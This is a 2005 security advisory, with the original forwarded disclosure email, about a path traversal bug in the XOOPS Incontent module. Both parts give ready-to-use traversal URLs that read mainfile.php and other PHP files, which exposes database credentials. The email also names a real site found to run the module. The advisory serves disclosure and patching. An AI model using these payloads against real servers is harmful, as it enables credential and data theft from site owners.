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Category:  Application (Forum/Board/Portal)  >  XOOPS Incontent Module Vendors:  Xoops.sourceforge.net
XOOPS Incontent Module Discloses PHP File Contents to Remote Users
SecurityTracker Alert ID:  1013034
SecurityTracker URL:  http://securitytracker.com/id?1013034
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 28 2005
Impact:  Disclosure of system information, Disclosure of user information
Exploit Included:  Yes  
Description:  A vulnerability was reported in the XOOPS third party Incontent module. A remote user can view the content of PHP files.

Lostmon forwarded a report of a vulnerability in the Incontent module. The module does not properly validate user-supplied input in the 'url' parameter. A remote user can view the contents of 'mainfile.php' with the following type of URL:

http://[target]/modules/incontent/index.php?op=aff&optio n=0&url=../../../mainfile.php

Other PHP files can be viewed, as shown in the following URLs:

http://[target]/modules/incontent/index.php?op=aff&option=0&url=../../. ./index.php

http://[target]/modules/incontent/index.php?op=aff&option=0&url=../../../header.php

Impact:  A remote user can view the contents of PHP files on the target server.
Solution:  A patch is reportedly available at:

http://www.e-xoops.ru/modules/mydownloads/visit.php?lid=330

Cause:  Access control error, Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  Lostmon <lostmon@gmail.com>
Message History:   None.


 Source Message Contents

Date:  Thu, 27 Jan 2005 14:19:44 +0100
From:  Lostmon <lostmon@gmail.com>
Subject:  Fwd: INCONTENT SECURITY ALEART!!

 
 
hello !!!
 
i receive this email yesterday 
 
atentamente
Lostmon
 
 
---------- Forwarded message ----------
From: webmaster@------.org <webmaster@------.org>
Date: Wed, 26 Jan 2005 18:02:56 +0100
Subject: INCONTENT SECURITY ALEART!!
To: lostmon@gmail.com
 
 
I Just recive the following information From Larok (Webmaster at the
RUSSISAN SUPPORT SITE) regarding the INCONTENT MODULE
 
If you are using INCONTENT YOU FIND A SECURITY FIX IN THIS INFORMATION TO:
 
info from Larok is here :
Hello.
 
Incontent module have big security bug.
 
With this bug hacker can see all data in mainfile.php & other *.php
portal files.
 
All data base data can be stolen.
 
How it works:
 
Just simpe search in google for sites that use incontent module i find
one of them:
 
http://www.dotcomdesigns.net/modules/incontent/
 
To view incontent files we use link like:
 
http://[target]/modules/incontent/index.php?op=aff&option=0&url=consult.html
 
We can easy look all data base data, pass, username and other by this
link in html:
 
http://[target]/modules/incontent/index.php?op=aff&option=0&url=../../../mainfile.php
 
And different *.php files by this link like:
 
http://[target]/modules/incontent/index.php?op=aff&option=0&url=../../../index.php
 
http://[target]/modules/incontent/index.php?op=aff&option=0&url=../../../header.php
 
Path for this error here:
http://www.e-xoops.ru/modules/mydownloads/visit.php?lid=330
(Colosed for non registered)
 
Also must work on xoops portals were webmaster install this module.
Like this one:
 
http://[target]/modules/incontent/index.php?op=aff&option=0&url=../../../mainfile.php
 
Have a nice day.
 
 
-- 
La curiosidad es lo que hace mover la mente....
 


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